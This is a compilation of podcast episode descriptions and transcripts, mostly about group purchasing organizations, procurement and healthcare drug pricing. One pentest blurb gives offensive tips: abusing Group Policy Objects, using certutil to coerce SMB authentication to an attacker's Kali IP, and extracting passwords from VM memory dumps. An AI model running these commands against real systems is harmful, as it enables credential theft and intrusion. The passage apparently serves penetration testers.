pay their premiums, but they pay nothing else out of pocket. That's the definition of single-payer.Eric Topol (29:24):Yeah.Mark Cuban (29:25):So if we can get all this done, then the initial single-payers will be self-insured employers because it'll be more cost effective to them to do this approach. We hope, we still have to play it all through. So that's part one. In terms of everybody else, then you can say, why do we need insurance companies if they're not even truly acting as insurance companies? You're not taking full risk because even if it's Medicare Advantage, they're getting a capitated amount per month. And then that's getting risk adjusted because of the population you have, and then there's also an index depending on the location, so there's more or less money that occurs then. So let's just do what we need to do in this particular case, because the government is effectively eliminating the risk for the insurance company for the most part. And if you look at the margins for Medicare Advantage, I was just reading yesterday, it's like $1,700 a year for the average Medicare Advantage plan. So it's not like they're taking a lot of risk. All they're doing is trying to deny as many claims as they can.Eric Topol (30:35):Deny, Deny. Yeah.Mark Cuban (30:37):So instead, let's just get somebody who's a TPA, somebody who does the transaction, the claims processing, and whoever's in charge. It could be CMS, can set the terms for what's accepted and what's denied, and you can have a procedure for people that get denied that want to challenge it. And that's great, there's one in place now, but you make it a little simpler. But you take out the economics for the insurance company to just deny, deny, deny. There's no capitation. There's no nothing.Mark Cuban (31:10):The government just says, okay, we're hiring this TPA to handle the claims processing. It is your job. We're paying you per transaction.Mark Cuban (31:18):You don't get paid more if you deny. You don't get paid less if you deny. There's no bonuses if you keep it under a certain amount, there's no penalties If you go above a certain amount. We want you just to make sure that the patient involved is getting the best care, end of story. And if there's fraud involved as the government, because we have access to all that claims data, we're going to introduce AI that reviews that continuously.Mark Cuban (31:44):So that we can see things that are outliers or things that we question, and there's going to mean mistakes, but the bet was, if you will, where we save more and get better outcomes that way versus the current system and I think we will. Now, what ends up happening on top of that, once you have all that claims data and all that information and everybody's interest is aligned, best care at the best price, no denials unless it's necessary, reduce and eliminate fraud. Once everybody's in alignment, then as long as that's transparent. If the city of Dallas decides for all the lives they cover the 300,000 lives they cover between pharmacy and healthcare, we can usually in actuarial tables and some statistical analysis, we can say, you know what, even with a 15% tolerance, it's cheaper for us just to pay upfront and do this single-pay program, all our employees in the lives we cover, because we know what it's going to take.Mark Cuban (32:45):If the government decides, well, instead of Medicare Advantage the way it was, we know all the costs. Now we can say for all Medicare patients, we'll do Medicare for all, simply because we have definitive and deterministic pricing. Great. Now, there's still going to be outlier issues like all the therapies that cost a million dollars or whatever. But my attitude there is if CMS goes to Lilly, Novo, whoever for their cure for blindness that's $3.4 million. Well, that's great, but what we'll say is, okay, give us access to your books. We want to know what your breakeven point is. What is that breakeven point annually? We'll write you a check for that.Eric Topol (33:26):Yeah.Mark Cuban (33:27):If we have fewer patients than need that, okay, you win. If we have more patients than need that, it's like a Netflix subscription with unlimited subscribers, then we will have whatever it is, because then the manufacturer doesn't lose money, so they can't complain about R&D and not being able to make money. And that's for the CMS covered population. You can do a Netflix type subscription for self-insured employers. Hey, it's 25 cents per month per employee or per life covered for the life of the patent, and we'll commit to that. And so, now all of a sudden you get to a point where healthcare starts becoming not only transparent but deterministic.Eric Topol (34:08):Yeah. What you outline here in these themes are extraordinary. And one of the other issues that you are really advocating is patient empowerment, but one of the problems we have in the US is that people don't own their data. They don't even have all their data. I expect you'd be a champion of that as well.Mark Cuban (34:27):Well, of course. Yeah. I mean, look, I've got into arguments with doctors and public health officials about things like getting your own blood tested. I've been an advocate of getting my own blood tested for 15 years, and it helped me find out that I needed thyroid medication and all of these things. So I'm a big advocate. There's some people that think that too much data gives you a lot of false positives, and people get excited in this day and age to get more care when it should only be done if there are symptoms. I'm not a believer in that at all. I think now, particularly as AI becomes more applicable and available, you'll be able to be smarter about the data you capture. And that was always my final argument. Either you trust doctors, or you don't. Because even if there's an aberrational TSH reading and minus 4.4 and it's a little bit high, well the doctor's going to say, well, let's do another blood test in a month or two. The doctor is still the one that has to write the prescription. There's no downside to trusting your doctor in my mind.Eric Topol (35:32):And what you're bringing up is that we're already seeing how AI can pick up things even in the normal range, the trends long before a clinician physician would pick it up. Now, last thing I want to say is you are re-imagining healthcare like no one. I mean, there's what you're doing here. It started with some pills and it's going in a lot of different directions. You are rocking it here. I didn't even know some of the latest things that you're up to. This seems to be the biggest thing you've ever done.Mark Cuban (36:00):I hope so.Mark Cuban (36:01):I mean, like we said earlier, what could be better than people saying our healthcare system is good. What changed? That Cuban guy.Eric Topol (36:10):Well, did you give up Shark Tank so you could put more energy into this?Mark Cuban (36:16):Not really. It was more for my kids.Eric Topol (36:19):Okay, okay.Mark Cuban (36:20):They go hand in hand, obviously. I can do this stuff at home as opposed to sitting on a set wondering if I should invest in Dude Wipes again.Eric Topol (36:28):Well, look, we're cheering for you. This is, I've not seen a shakeup in my life in American healthcare like this. You are just rocking. It's fantastic.Mark Cuban (36:37):Everybody out there that's watching, check out www.costplusdrugs.com, check out Cost Plus Marketplace, which is business.costplusdrugs.com and just audit everything. What I'm trying to do is say, okay, if it's 1955 and we're starting healthcare all over again, how would we do it? And really just keep it simple. Look to where the risk is and remove the risk where possible. And then it comes down to who do you trust and make sure you trust but verify. Making sure there aren't doctors or systems that are outliers and making sure that there aren't companies that are outliers or patients rather that are outliers. And so, I think there's a path there. It's not nearly as difficult, it's just starting them with corporations, getting those CEOs to get educated and act in their own best interest.Eric Topol (37:32):Well, you're showing us the way. No question. So thanks so much for joining, and we'll be following this with really deep interest because you're moving at high velocity, and thank you.**************************************************Thank you for reading, listening and subscribing to Ground Truths.If you found this fun and informative please share it!All content on Ground Truths—its newsletters, analyses, and podcasts, are free, open-access.Paid subscriptions are voluntary. All proceeds from them go to support Scripps Research. Many thanks to those who have contributed—they have greatly helped fund our summer internship programs for the past two years. I welcome all comments from paid subscribers and will do my best to respond to each of them and any questions.Thanks to my producer Jessica Nguyen and to Sinjun Balabanoff for audio and video support at Scripps Research.FootnoteThe PBMS (finally) are under fire—2 articles from the past week Get full access to Ground Truths at erictopol.substack.com/subscribe

In this episode of The Thriving Dentist Show, Gary Takacs interviews Dr. Lou Graham to explore how Group Purchasing Organizations (GPOs) can help dental practices save money, reduce overhead, and improve efficiency. Dr. Graham shares how GPOs offer collective buying power to solo and group practices, providing significant cost savings on supplies, credit card processing, and benefits. Learn about the benefits of joining a GPO like Catapult Grow, and how technology and strategic partnerships can transform your practice. Tune in for expert insights that can elevate your practice's profitability and success! Listen now to discover how GPOs can take your practice to the next level!

In this episode of Hospitals in Focus, we're pulling back the curtain on an often-overlooked  yet truly “critical” aspect of our health care system—the supply chain. It's the backbone of  our hospitals, ensuring that essential medical supplies reach patients in need. But what  happens when that chain breaks? Host Chip Kahn is joined by Ed Jones, President and CEO of HealthTrust Performance  Group, to discuss recent events that exposed vulnerabilities in this intricate network.  Following Hurricane Helene's catastrophic impact on a major manufacturing facility for IV  solutions, hospitals nationwide faced a sudden, alarming shortage. This crisis underscores  that our health care supply chain is a fragile, interconnected network, frequently  dependent on a limited number of suppliers and manufacturers. In this episode, Chip and Ed discuss: An introduction to Group Purchasing Organizations (GPOs), and how they help  hospitals secure reliable supplies at fair prices. Pandemic and Disaster Preparedness: How the COVID-19 pandemic and  Hurricane Helene revealed and accelerated shifts in our supply chain, and what  parallels these events share. The Role of GPOs in Drug Supply: An examination of how GPOs respond to  shortages and their impact on supply and pricing. International Reach and Recovery: How global supply chains influence our health care systems. HealthTrust's Unique Approach: What sets HealthTrust apart from other GPOs in  its approach to building a resilient and cost-effective supply chain. Guest Bio:  As President and CEO of Healthtrust Performance Group, Ed has overall responsibility for a  broad set of capabilities focused on supporting healthcare providers. His primary focus is  providing the strategic direction and leadership of a comprehensive spend management  and performance improvement business based in Nashville, Tennessee. Jones oversees  all dimensions of a $52B portfolio; directs all consulting, managed services and  outsourced relationships/alliances, including accountability for HCA Healthcare supply chain, sourcing contingent labor, facility management and clinical education.Jones' leadership encompasses several HealthTrust/HCA Healthcare business ventures  that strengthen provider performance and competitive advantage, including: HealthTrust Workforce Solutions - The clinical labor staffing and consulting  company including a proprietary program called StaRN (extensive training program  for all new nurses) HCA Healthcare Center for Clinical Advancement - Responsible for providing  continual education for over 90,000 nurses at HCA Healthcare through a team of  approximately 800+ educators and several simulation labs HealthTrust Europe, which provides sourcing and supply chain services to HCA U.K.  and sourcing services to 39 provider trusts in the U.K. HealthTrust Global Sourcing Office in Shanghai, China Galen College of Nursing Group purchasing organization that delivers clinically integrated solutions and  savings across all sites of care He has 40 years of experience within the Healthcare industry, serving in his current role for  the last 11 years and serving previously as the Chief Operating Officer of HealthTrust  Performance Group with responsibility for strategic sourcing, clinical operations, custom  contracting, supplier diversity, and regional operations. Prior to that, Jones served in  several leadership positions within HCA Healthcare for 20 years following front-line roles  at a hospital for seven years. Jones is a founding board member of the Health Sector Supply Chain Research  Consortium, and a member and subcommittee leader of the Federation of American  Hospitals. He also serves on the board of Galen College of Nursing and is the chairman of  the finance committee. Jones also serves on the board of CoreTrust. Previously, he served  as board chair on the Healthcare Supply Chain Association (HSCA). He holds a Bachelor of  Science degree from Virginia Commonwealth University.

So much of practice profitability comes from tracking supplies and overhead. Kiera pulls back the curtain on how practices can keep track of supplies, avoid shortages, and stay within budget. Episode resources: Reach out to Kiera Tune Into DAT's Monthly Webinar Practice Momentum Group Consulting Subscribe to The Dental A-Team podcast Become Dental A-Team Platinum! Review the podcast Transcript: Kiera Dent (00:00.59) Hello, Dental A Team listeners. This is Kiera and welcome to the podcast. I hope you guys, it's crazy to think I've been doing this podcast for so long and I still get new ideas and that's thanks to you guys. So just so you know, the podcast is built for team members and teams, doctors and owners by team members and practice owners to give you guys the best tips and tricks to be able to share from hundreds of practices across the nation and across the globe to give you the shortcuts to success and to give you a community so you don't feel like you have to do this alone.   I was at my, my gosh, I'm going to say the words on the podcast. You guys, you're going to find out how old I am. I went to my 20 year high school reunion. I kid you not. And I was terrified to go. none of my friends from high school that I hung out with in high school were going. So I was going kind of solo and, and by like none of my friends, did know people, but they weren't like the close friends that I'd hung out with all the time. None of them were going. And I was super stressed and I didn't know if I wanted to go. And I almost bailed   about 20 times. And then I decided, you can always just leave. Just go say hello. You've already paid. It's right by my parents' house. It's not far away. And it was interesting because there was a girl that we weren't necessarily close in high school. I knew of her. She knew of me. But it was fun because she built a business. I built a business. And we were talking because when you're business owners, know there's not a lot of people you can actually geek out with all the time and talk to them about business strengths and weaknesses   She said to me, said, know, Kiera I'd really love to get with you more often because I feel like as business owners, we need that community and we need people that are like us to help us know that we're going through it. And I just thought, I am so lucky because my dentists do have a community and the dentist I consult have a community and they don't have to do this alone. And they're like, I've literally been there, done that and done it successfully. And our team has been there, done that and done it successfully. And we're able to share with you all the tips and all the tricks and all the things.   So that way you don't have to go through the hard things. If I could find somebody who has grown a consulting company, which I did, that's who I hired as my coach. but really just like leaning in. And then what I decided to do is our dentists, we actually meet the first Tuesday of every month. call that think tank Tuesday for our one -on -one clients. And then our group mastermind, which is so freaking fun. It's a really, really, really, really awesome community that I'm loving. And they get.   Kiera Dent (02:21.448) way more access than they even do on one -on -one. But every single week they come together for Ask Consultants Everything. And then we also have a mastermind where they get to come together as well. And my biggest piece was I was thinking back to why did I join Tony Robbins? And I thought I joined it for Tony Robbins, but I realized I joined it for a community of people that push me, that I'm not the smartest one in the room, that people can help me run my business in ways that I don't even know because community is what we're all here for. And so for you guys,   to just think like how blessed are we to have this podcast community to be able to come and share from hundreds of practices and get best ideas and to really get out there. Because what I found is in today's world, we don't have to be alone unless we want to. We don't have to do this on our own unless we want to. And I will literally give you every single piece of knowledge that I have anywhere and everywhere to make sure that you succeed and that you've lived the life you want. My goal is to positively impact the world of dentistry in the greatest way possible.   Dentistry is my platform and life is my passion to give you guys the life that you deserve, to give you the team and the skills for doctors and teams to flourish. So today I really wanted to just go through a quick tactical for you about inventory management, which is not my typical podcast style. Normally I'm more about life, but today I thought, let me give you guys some quick tips on how to do supplies and to keep track of your supplies and make sure that we don't have shortages, make sure that we're within budget.   And kind of just helping you and your team get on that because what I found is so much of profitability comes from tracking our supplies, tracking our overhead. And if we can get that dialed in, that's one less thing that we have to worry about. So, Hey, who's for ease. I'm here for ease because at the end of the day, we can do it the hard way or we can do it the easy way. And I would love to share with you the fastest, easiest tips I've learned. And then also what I expect from you as the community is if you have ways that I'm not talking about on the podcast, please email me. Hello @ TheDentalATeam.com   I'll either bring you on as a guest or we can take some of your ideas if you don't want to be a guest and share it because I believe that yes, while you're consuming and receiving, it's also important for you to give back. And I believe that the secret to living a fulfilled life is giving back and serving as well. There's so much fulfillment in my life to serve you and to give you these tips and to give you resources from other practices, but I wouldn't be able to give it to you without their experiences as well.   Kiera Dent (04:36.354) Whether that's you join us and become one of our ambassadors who actually get to help coach some of our doctors. Whether it's you become a client, we're able to help with that. Or you just email me in and share some of your greatest ideas. I would love that. I would love it so much and it will make you feel good because then you were able to share an idea. And everyone thinks their ideas are dumb and guess what? Going from hundreds of practices, most practices are actually not doing it. And some of my best ideas are the simplest things like an office had standup desk for their front office and I thought, gosh.   I wish so many other offices knew that. So no idea is dumb. And I just want you to not feel scared to share. And don't worry, I will always polish it up and make you sound like a million bucks. So you never, ever, ever, ever have to worry. Just email me Hello @ TheDentalATeam .com and be sure to give back. Cause I think that that's a great way for you to also feel fulfilled. So with supplies, number one, I like supplies to be at a four or a 5 % of total collections. So a great thing, there's a supply spreadsheet that I've given to a lot of our offices that we consult.   where it literally is just what are they doing for their ordering and then what is the budget? Because so often, like I was a dental assistant, I would just order what we had always ordered in the past. And that's actually not the best way to do inventory management and that we don't need to. So if we give them a 4%, so let's just make our math super simple. If we're collecting 100 ,000, 4 % is four grand, 5 % would be 5 ,000. And then what they do is, whoever's ordering, they just put it on a spreadsheet, they just deduct it down, and that's our budget for the month.   Now, something else that I love are clear tip out bins. I'm obsessed with going into offices and finding this beautiful blank wall and I found it in every practice. So don't think that your practice can't do it. Sometimes you have to get a little creative, but there's always space for it. But the clear bins, when I worked at Midwestern University's dental college in Arizona, we bought so much extra inventory because we couldn't see things. And think about our houses. Like, yes, we can tuck it in drawers, but we can't see things. And for inventory, we want to be able to see things.   to know how much do we actually have of things. And so even at the dental college, students would stock their drawers and we would go through so much composite because people would be hoarding composite. And so I'm also not obsessed with stocking rooms a ton, especially if you wanna get your inventory down and get your supplies lower, which you can absolutely do. And so what I love to do is have one, the spreadsheet and the budget. So whomever's ordering knows exactly how much they can spend.   Kiera Dent (06:54.83) Let's not have it be free reign. You can also do it for the front office. I know Amazon can really run quickly on us, but make them just track it on a quick, simple spreadsheet. That way we can always watch that and get that in control. I understand that if you order implants, you might need to go higher. If an office is doing implants, usually add together the supplies and the labs. I do about between 12 and 14%, again, depending upon the rest of your practice. I'm aiming for a 50 % overhead, excluding Dr. Pay. So you can kind of play with the numbers and figure   but a good like overall supply budget is like four to 5%. That does include hygiene supplies as well. And front office, I usually give them a half a percentage to 1 % for front office supplies. Again, look at your overhead, look at the percentages. We have an incredible overhead calculator that has it all broken down into the percentages of what we recommend for each category. And then you can use your P &L and plug it in and it's really awesome. So with that said, I love to get that budget set up. And then if we can, let's get those clear,   Clear bins set up so that way we can see. Some offices will draw a line on the bin of like when it gets down to here, this is when we order. So we can visually see and it becomes so fast. You can put tags, there's some inventory management where some people will tag it and then just scan it. Other people have the tags on the bin so it's very quick when we need to reorder, cuts down the time for us. I do really love some buying GPOs. Synergy is one, so be sure to let them know Dental A Team sent you.   I think they're great because they have a whole buying group. It's kind of like Costco where we get cheaper items because we're with the group of multiples. And I think Synergy is one of the best that allows you to still work with your preferred vendors. They do work primarily with Darby. However, with that said, you can still work with most of them and still get discounts. So yes, it might take a little bit of time to get up to date, but hey, if we can buy the same stuff and actually just save ourselves a couple hundred bucks a month or a couple thousand, isn't that worth it? I always say yes.   So that's another thing is to look into that synergy or a buying group such as that. If you have a buying group you love, please be sure to reach out, let me know. Hello @ TheDentalATeam .com. will happily vet them, find out about them and see if it's someone I would recommend to our community. But with that, then what we wanna do is we also wanna make sure that our team knows what our supplies need to be. And then everybody, I really am not obsessed with having things in operatories because if I have to stock.   Kiera Dent (09:11.724) six operatories with composite that can get very costly. And so also having tubs or those carts, if you don't know what I'm talking about, be sure to reach out. I'm happy to share pictures with you. But cart parking, and so we have like two carts for implants. We've got a cart for endo. We've got our composite, and you can have little tubs or bins. It just has everything in it. And think about how many doctors we have, how many providers. But then we just basically take it from sterile on our tray setup, take it to the room, we clean it all   put it away and off it goes. And then all I have to do is just stock the carts or the bins rather than stocking all the rooms. And I had a practice that we were actually able to cut down their supply costs exponentially due to the fact that we, all we had to do was literally just take it out of the operatories. And we were able to save so much because stocking each room was so costly and I'm having to stock basically six offices versus just having to stock those bins. The bins are also faster because I can look for it. We can fill it. And then it's all in sterile. Everything's there.   You can have drop downs. saw an office that actually had drop down bins. It's like a, I guess a clothing pull down, you know, like in closets where they're really tall. They did that for their sterile and it was amazing because they were able to have all their supplies right there. People were able to then just like restock the bins. And I did this at Midwestern when I was at the college. And what I found was I didn't have to have as many supplies because I was able to see everything. And also we had the tubs and the bins, so not as many things had to go.   And I think that's just a good way for you guys to get the supplies down to keep track the supplies to not have the supply shortages But again visually getting everything out. So if you were starting this sometimes even just in the operatories I do keep my disposables like cotton gauze floss things that we're using all the time that are very minimal cost Those stick in the operatories. You can also get the clear bins and stick them right behind your 12 o 'clock cabinet That way all those things are very easy. You can see them They're not very minimal things that we've got a stock, but really the bins are so easy   Offices love them. It might seem like a little bit change, but it makes it very, very, very simple for it. So a lot of those things, yes, I keep my disposables, my sections in the room. So those things are very simple. We use them all the time. Keep those there and they're not very costly, but the composite, the matrices bands, the impression material, all those things do become a little more costly. And so being able to cut those down really can save and then empower someone, empower them to be your supply champion, empower them   Kiera Dent (11:37.538) really be able to grow this and to, and get the person who's obsessed with like winning and figuring out how they can make ends meet. They're usually the person who really loves to be over supplies. And then they know their budget, they save the money and they're able to get it. Oftentimes buying deals when like a company has like buy two, get one free, run the numbers and make sure it's actually a good deal. Cause sometimes they're not that good of a deal. So there's my quick tactical practical for you of inventory management. Like I said,   Set up the spreadsheet with the budget, make sure we're tracking it, give the budgets to them, look at your overhead. Then the clear bins are a great thing. You can just Google them. There's a lot of them, like Z -Line, I think, is a company that has them. But just Google clear tip -out bins. They come in multiple sizes. You'll want a nice big wall. You can also put them in the operatories. Take things out of the operatory so it's all in one place. It's easier for people to track and manage. And then give someone the empowerment to just rock it and to make sure that we're never out of things.   I usually used to check my supplies like every week. My supply person usually gets one hour. It can be per week or every other week, depending upon how much you guys need to order. And that usually can keep the order going consistently. Yes, when we run this lien, we do have to order more often. But it's a great way to keep it to where we're not over bulking, over stocking, because we don't want to order as much. And then get into that GPO group buying. like Synergy, like I mentioned, can actually save you a lot of money.   for buying the exact same things you're already doing and you don't have to change. So check them out. Be sure to tell them, Dental A Team sent to you, if we can help you guys with this, get it set up, talk to your clinical team, get them excited and on board. That's what we're here for. And as always, thanks for listening. I'll catch you next time on the Dental A Team podcast.

In this episode of Creating Next, we take a detailed look at OMNIA Partners, a long-standing TransImpact partner. Chase Hambly, Director of Channels and Private Equity at OMNIA Partners, joins us to share his expertise on group purchasing organizations (GPOs) and their role in driving efficiency and cost savings for businesses. Together, Chase and Jey explore how organizations like OMNIA can help companies optimize procurement, build long-term supplier relationships, and create scalable value, especially within the private equity space. Tune in for a comprehensive look at procurement strategies that are transforming industries. This show is brought to you by TransImpact. To learn more, visit www.transimpact.com.Creating Next is a production of Earfluence. 

Jamie Steensen, the Corporate National Director of Procurement and Purchasing for Sinceri Living, shares her background and journey to her current role. She discusses the responsibilities of overseeing procurement and emphasizes the importance of vendor partnerships. Jamie highlights the impact of technology on the procurement process and mentions the use of Contract Save for contract management. She also mentions the need for better collaboration and communication between departments in senior living organizations. Jamie shares her personal and professional goals, including enhancing her skills and growing the procurement team at Sinceri. She advises other senior living providers to utilize group purchasing organizations (GPOs), invest in technology, and find individuals passionate about procurement and vendor partnerships.

Is your healthcare system leaving millions on the table in non-clinical spend? In this eye-opening episode of Power Supply, David Pennino, Founder & CEO of LogicSource, reveals how healthcare systems are drastically overpaying for the same goods and services as other industries. Discover why GPOs fall short in addressing non-clinical spend, how decision-making processes are significantly slower than other sectors, and why lack of transparency is costing you dearly. David dives into the critical differences between healthcare and other industries, offering practical solutions to streamline procurement and reduce costs. Whether you're battling budget constraints or looking to reinvest in patient care, this episode is packed with game-changing insights that could revolutionize your approach to non-clinical procurement. Tune in now and discover how to turn your purchasing power into a strategic advantage! Once you complete the interview, jump on over to the link below to take a short quiz and download your CEC certificate for .5 CECs! – https://www.flexiquiz.com/SC/N/ps11-05 #PowerSupply #Podcast #AHRMM #HealthcareSupplyChain #NonClinicalSpend #Benchmarking #CostSavings

“You always really need to look at people, process, and technology. If you don't look at all three and understand where you are and where you need to be in those areas, you are just going to be chasing.” - Sherry Ulsh, Director, Indirect Procurement, The Hershey Company At the CoreTrust Conference in April 2024, Philip Ideson had the opportunity to sit down with Sherry Ulsh, Director of Indirect Procurement at The Hershey Company, about a wide range of topics, including her own journey from finance to procurement, the evolving role of GPOs, and the changing skill sets required in modern procurement roles.  Sherry shared her views on the importance of supplier relationship management and stakeholder management, both of which are reflected in her belief that procurement's value and influence in the business are best realized when they achieve a balance of people, process, and technology. In this episode, Sherry also shares her views on:  How to define procurement's value proposition across different industries and organizational models The evolving role of GPOs, and how utilization of the GPO model today differs from in the past Shaping internal and external perceptions of procurement's value, and how, for example, CFOs and other C-suite leaders can influence procurement's perceived value beyond cost savings Links: Sherry Ulsh on LinkedIn Subscribe to This Week in Procurement

Data visibility can reshape procurement and supply chain management.In this episode, hosts Scott W. Luton and Allison Giddens are joined by Ashley Greuel and Jeff Gillmer from OMNIA Partners to explore the critical importance of spend visibility for business leaders navigating the complexities of 2024. Tune in for practical insights on leveraging data integration and automation to minimize manual errors and maximize organizational impact. Learn about the strategic role of group purchasing organizations (GPOs) in complementing procurement efforts and uncovering cost-saving opportunities, especially for smaller businesses. With a blend of expert advice, future trends in AI and machine learning, and lighthearted banter, this episode provides actionable steps and encourages a community-driven approach to embracing technological advancements in the supply chain sector. This engaging conversation not only highlights current challenges but also offers a roadmap for aligning teams toward common goals and thriving amidst global uncertainties.Additional Links & Resources:Become an OMNIA Partners Member: https://www.omniapartners.com/get-started/membershipCheck out this OMNIA Partners Case Study: https://bit.ly/3VYliBaOMNIA Partners Playbook 2: Spend Visibility: From Analysis to Action (2024)- https://bit.ly/3LdMgySLearn more about Supply Chain Now: https://supplychainnow.comSubscribe to Supply Chain Now: https://supplychainnow.com/joinCheck out Supply Chain Now's NEW Media Kit: https://bit.ly/3XH6OVkWEBINAR- Automation ROI: Solving the Top 3 Operational Challenges: https://bit.ly/3VvxTvsWEBINAR- Strategies for Aligning Business Planning with Supply Chain Design: https://bit.ly/3XvRHk7WEBINAR- Taming Logistics Complexity: How Logistics Leaders Can Optimize Operations with Emerging Technology; https://bit.ly/3XBbf6yThis episode is hosted by Scott Luton and Allison Giddens. For additional information, please visit our dedicated show page at: https://supplychainnow.com/navigating-challenges-spend-visibility-implementing-solutions-2024-1299

In this engaging episode of "The Late Night Restaurant Show," Jay Ashton hosts Barbara Bell, National Account Executive at Entegra. Barbara and Jay dive into Barbara's extensive experience in the hospitality industry, from her childhood days helping in her father's pub to her current role at Entegra. They discuss the crucial role of group purchasing organizations (GPOs) in supporting restaurants, the challenges faced by the industry, and the importance of human interaction in hospitality. The episode is filled with personal anecdotes, industry insights, and a focus on the resilience and adaptability of restaurant professionals. Jay and Barbara emphasize the significance of storytelling, positive attitudes, and the legacy those in the industry left.

In this engaging episode of "The Late Night Restaurant Show," Jay Ashton hosts Barbara Bell, National Account Executive at Entegra. Barbara and Jay dive into Barbara's extensive experience in the hospitality industry, from her childhood days helping in her father's pub to her current role at Entegra. They discuss the crucial role of group purchasing organizations (GPOs) in supporting restaurants, the challenges faced by the industry, and the importance of human interaction in hospitality. The episode is filled with personal anecdotes, industry insights, and a focus on the resilience and adaptability of restaurant professionals. Jay and Barbara emphasize the significance of storytelling, positive attitudes, and the legacy those in the industry left.

Today's tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs!  Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address.  When you're ready to fire off a task that coerces SMB auth, try certutil -syncwithWU your.kali.ip.addressarbitrary-folder. I'm not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s).  If you're on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under. DonPAPI got an upgrade recently with a focus on evasion! When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you've got the vmss2core utility, which I couldn't find anywhere except the Internet Archive.  Then I really like to follow this article to pull passwords from VM memory dumps. Can't RDP into a victim system that you're PSRemote'd into?  Maybe RDP is listening on an alternate port!  Try Get-ItemProperty -path "HKLM:SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp | select-object portnumber` And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!

Procurement teams within private equity firms manage hundreds of portfolio teams worldwide. They must prove the value they create with each program at any given moment. With precise, robust data not always available, these teams are left to determine supplemental ways to demonstrate cost savings, capex reductions, and cost avoidance to C-suite stakeholders. In this episode, Philip sits down with Paul Dhaliwal, Director of the U.S. Capstone Team at KKR, at the 2024 CoreConference in Tampa to discuss how GPOs play a key role in driving value and change across private equity portfolios. They also dive into how Paul and his team use GPO relationships to tell a clearer story with the data they have. Paul shares his insight on leveraging GPOs within private equity, including: The specific metrics and methods his team uses to measure procurement value across KKR's portfolio How identifying critical areas of engagement with the right GPO partner empowers teams to leverage those relationships and drive results at scale Why private equity procurement teams need to track the right data points and build credibility so they can sell a specific story with greater ease. Links: Paul Dhaliwal on LinkedIn Subscribe to This Week in Procurement

Pharmaceutical supply chains are never far from news headlines. Regular drug shortages affect our families, friends, and neighbors when they can't access their chemotherapy treatments, ADHD medication, and pain medication - just to name a few. In 2023, Americans spent over $600 Billion on prescription drugs. That's more than ever before — and more than any other country in the world. 90 percent of the prescriptions are for generic drugs, although they represent only 20 percent of spending. Pharmaceutical supply chains are complex, highly regulated, global, and associated with HUGE profit margins - but not for all medicines, and the R&D costs are just as astronomical as the profits. In this week's episode of Art of Supply, Kelly Barner attempts to distill one of the most complex supply chains in the world down to some very familiar dynamics: Profitability, supply chain resilience, and negotiating leverage The differences between brand name and generic drug profit margins  Production issues that exist thanks to global producers, consolidated negotiators like GPOs and wholesalers, and the exacerbating role of insurance companies And what a few groups - including well known Shark Tank investor Mark Cuban - are trying to do about it Links: Kelly Barner on LinkedIn Art of Supply LinkedIn newsletter  Art of Supply on AOP Subscribe to This Week in Procurement

Don't forget to check out the video episode on YouTube!  In this episode, we tackle the financial challenges of operating a dental practice, with a special focus on managing supply costs and leveraging vendor relationships. Joining us is Ted Osterer, my friend from Synergy Dental Partners, who shares great advice to optimize dental practice operations. Look at all that we covered: Dental Supply Management Navigating PPO Challenges Role of Group Purchasing Organizations (GPOs) Partnerships for Cost Savings Empowering Independent Dentists I hope you find Ted's insights as valuable as I did. Thanks for listening! How to find Ted:  LinkedIn Contact Number: 516-316-3671 ------------- Synergy Dental Partners believes in the podcast! They are offering to double their free trial offer for NTMT listeners. Synergy is a group purchasing organization (GPO) that lowers your expenses by leveraging their purchasing power.  https://www.odysseymgmt.com/synergy NTMT listeners receive a 2 Month Free Trial + a 3rd Month if you buy anything from any vendor during the trial period. Also, new Darby customers receive a $200 Darby statement credit with a purchase.  ------------- My new insurance course is out! Dental Insurance Design and Management is geared toward those who want to understand the how and why of insurance. As a loyal podcast listener, please use "NTMT" for a $75 courtesy toward your investment.  ------------- Visit odysseymgmt.com to check out my book, webinars and courses. ------------- Don't forget to check out my other podcast Chew on This - A Dental Podcast!  **If you like the show then I'd appreciate a good rating. Tell your friends. Even podcasters ask for referrals!** YouTube: https://youtube.com/@odysseymgmt  

Purchased services is often the most overlooked expense in healthcare yet offers opportunities for cost savings. Brian Bartel shares his best practices for effective contract management, with Jim Cagliostro.    Episode Introduction  Brian explains the unique challenges of purchased services, why a centralized contract repository is the first step to successful purchased services management, and why hospitals should never allow contracts to auto-renew. He also explains why ‘'red flags'' aren't always necessarily malicious and why it's vital to question the line-item details of your purchased services invoices.    Show Topics   Purchased services present a unique challenge in healthcare #1 tip: Create a centralized contract repository Review your contracts on a minimum annual basis Don't assume all red flags are malicious The hidden cost savings in your line-item details Be inquisitive, be patient, be strategic – and build relationships 06:35 Purchased services present a unique challenge in healthcare Brian explained the difference between supplies and purchased services.  ‘'…When you're talking about supplies, it's pretty easy. You've got a specific item number, you've got your power set, your requisitions, everything is very orderly. So things are coming in, you can track it, you've got the data behind it, there's a contract with that line item pricing. And then when you get confirmations back, usually people are using some form of EDI, which makes it relatively easy, and you can track that. Item A is item A, item B is item B. Purchased services is different because it typically is not on a PO. Again, I've worked places where it is, but that comes with its own challenges. It's very department specific, so you've got usually a department manager or leader that's kind of running that point with it. We don't have as much interaction on the supply chain side of this either. Communication is usually kind of sparse between supply chain and a purchased service provider as compared to a typical supply vendor. And again, the data is just, it's more difficult. When you start looking at how things are being invoiced because there's no PO line, it gets very challenging to try to figure out, "Okay, what's actually happening with this spend?" Typically, an invoice will come in, the department manager signs off on it, it gets paid, and that's it. So a lot of opportunity there.''   08:30 #1 tip: Create a centralized contract repository  Brian said a centralized contract repository was the essential first step to successful purchased services management.  ‘'I think that at square one, I think the biggest thing you can do is if your organization or your hospital, your ASC, your clinic, whatever it is, if you don't have a centralized contract repository, that's step one. Again, stepping into certain roles in my past, you've got contracts that might be down in admin. You've got department managers that have signature execution authority and they've got them in their files, and then you realize three years later that there's been this contract that nobody's really paying attention to because it's just a paper copy. Really I think that that's the biggest thing for me is getting your hands around it. Number one, you've just got to have that centralized repository. Again, that doesn't mean that you need to use software. Software obviously makes things easier. I'm a big proponent of that. But again, even just saying, "All right, 